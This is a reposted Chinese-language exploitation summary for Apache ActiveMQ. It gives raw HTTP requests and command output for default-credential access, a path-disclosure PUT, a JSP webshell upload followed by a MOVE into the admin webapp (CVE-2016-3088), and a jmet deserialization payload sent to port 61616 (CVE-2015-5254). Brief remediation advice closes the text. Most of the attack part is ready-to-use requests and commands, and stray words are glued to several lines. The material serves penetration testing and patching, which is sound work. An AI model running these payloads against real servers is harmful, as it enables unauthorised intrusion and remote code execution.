ActiveMQ漏洞利用方法总结

时间  2020-12-21 标签 html java python git github web shell apache 服务器 app

转载来自：http://www.freebuf.com/column/161188.htmlhtml

一、Console存在默认端口和默认密码/未受权访问(默认密码为admin:admin)java

ActiveMQ默认使用8161端口，使用nmap对目标服务器进行扫描：python

[root@localhost src]# nmap -A -p8161 192.168.197.25 \ Starting Nmap 5.51 ( http://nmap.org ) at 2017-10-26 15:31 CST Nmap scan report for 192.168.197.25 Host is up (0.00016s latency). PORT STATE SERVICE VERSION 8161/tcp open http Jetty httpd 7.6.7.v20120910 |_http-methods: No Allow or Public header in OPTIONS response (status code 401) | http-auth: HTTP/1.1 401 Unauthorized | |_basic realm=ActiveMQRealm |_http-title: Error 401 Unauthorized

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二、ActiveMQ物理路径泄漏漏洞git

ActiveMQ默认开启PUT请求，当开启PUT时，构造好Payload(即不存在的目录)，Response会返回相应的物理路径信息：github

Request Raw:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1 Host: 192.168.197.25:8161 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 4 test 
Response Raw:
HTTP/1.1 500 /data/apache-activemq-5.7.0/webapps/fileserver//.././(No such file or directory) Content-Length: 0 Server: Jetty(7.6.7.v20120910)

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3、ActiveMQ PUT任意文件上传漏洞web

ActiveMQ默认开启PUT方法，当fileserver存在时咱们能够上传jspwebshell。shell

Request Raw:
PUT /fileserver/shell.jsp HTTP/1.1 Host: 192.168.197.25:8161 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 26 this is jsp webshell code. 
Response Raw:
HTTP/1.1 204 No Content Server: Jetty(7.6.7.v20120910)

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通常构造返回204响应码即为成功，笔者测试其余环境为不可put时，返回为404或500。 put完成，咱们查看service下的信息：apache

[root@localhost fileserver]# pwd /data/apache-activemq-5.7.0/webapps/fileserver [root@localhost fileserver]# ls index.html META-INF shell.jsp WEB-INF [root@localhost fileserver]# cat shell.jsp this is jsp webshell code. [root@localhost fileserver]#

四、ActiveMQ任意文件文件移动漏洞服务器

ActiveMQ除了支持PUT协议以外，还支持MOVE协议。app

Request Raw:
MOVE /fileserver/shell.jsp HTTP/1.1 Destination:file:/data/apache-activemq-5.7.0/webapps/admin/shell.jsp Host: 192.168.197.25:8161 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Authorization: Basic YWRtaW46YWRtaW4= Content-Length: 17 Content-Length: 0 
Response Raw:
HTTP/1.1 204 No Content Server: Jetty(7.6.7.v20120910)

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服务器信息以下：

[root@localhost fileserver]# ls index.html META-INF shell.jsp WEB-INF [root@localhost fileserver]# cat shell.jsp this is jsp webshell code. [root@localhost fileserver]# ls index.html META-INF shell.jsp WEB-INF [root@localhost fileserver]# ls index.html META-INF WEB-INF [root@localhost fileserver]# cd .. [root@localhost webapps]# ls admin demo favicon.ico fileserver index.html styles [root@localhost webapps]# cd admin/ [root@localhost admin]# ls 1.jsp browse.jsp decorators index.jsp META-INF queueGraph.jsp send.jsp styles topics.jsp 404.html connection.jsp graph.jsp js network.jsp queues.jsp shell.jsp subscribers.jsp WEB-INF 500.html connections.jsp images message.jsp queueConsumers.jsp scheduled.jsp slave.jsp test xml [root@localhost admin]#

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同理，写ssh key同样，在此再也不重复造轮子。

影响版本：Apache ActiveMQ 5.x ~ 5.14.0

CVE信息：CVE-2016-3088

 

4. ActiveMQ反序列化漏洞(CVE-2015-5254)

ActiveMQ默认对外开启61616端口，默认为ActiveMQ消息队列端口。

其中存在一下小的细节问题：

  1. 工具releaes的为JDK 1.7，若是本身build可无视

  2. 使用工具须要在当前目录下建立一个external目录,不然会出现NoSuchFileException

经过构造payload,向队列发送反序列化数据到消息队列中。

(工具下载地址：https://github.com/matthiaskaiser/jmet)

[root@sevck_v3 ~]# java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "python /tmp/test.py" -Yp "CommonsCollections1" 192.168.197.25 61616 INFO d.c.j.t.JMSTarget [main] Connected with ID: ID:sevck_v3.0-45938-1516678757604-0:1 INFO d.c.j.t.JMSTarget [main] Sent gadget "CommonsCollections1" with command: "python /tmp/test.py" INFO d.c.j.t.JMSTarget [main] Shutting down connection ID:sevck_v3.0-45938-1516678757604-0:1

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查看消息队列触发：

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服务器监听：

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注：若是反弹不成功可能的缘由是JAVA Runtime.getRuntime().exec()中不能使用管道符，须要进行一次编码

推荐工具：http://jackson.thuraisamy.me/runtime-exec-payloads.html

影响版本：Apache ActiveMQ 5.13.0的版本以前的存在反序列化漏洞

CVE信息：CVE-2015-5254

5.ActiveMQ 信息泄漏漏洞(CVE-2017-15709)

在最新的版本中apache-activemq-5.15.0 toapache-activemq-5.15.2和apache-activemq-5.14.0to apache-activemq-5.14.5中61616默认使用了OpenWire协议，开启了debug模式，debug模式会泄漏操做系统相关信息

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影响版本：Apache ActiveMQ5.14.0 – 5.15.2

 

CVE信息： CVE-2017-15709

 

修复建议：

  1. 针对未受权访问，可修改conf/jetty.xml文件，bean id为securityConstraint下的authenticate修改值为true，重启服务便可

  2. 针对弱口令，可修改conf/jetty.xml文件，bean id 为securityLoginService下的conf值获取用户properties，修改用户名密码，重启服务便可

  3. 针对反序列化漏洞，建议升级到最新版本，或WAF添加相关规则进行拦截

  4. 针对信息泄漏漏洞，启用TLS传输或升级到Apache ActiveMQ的5.14.6或5.15.3以上版本

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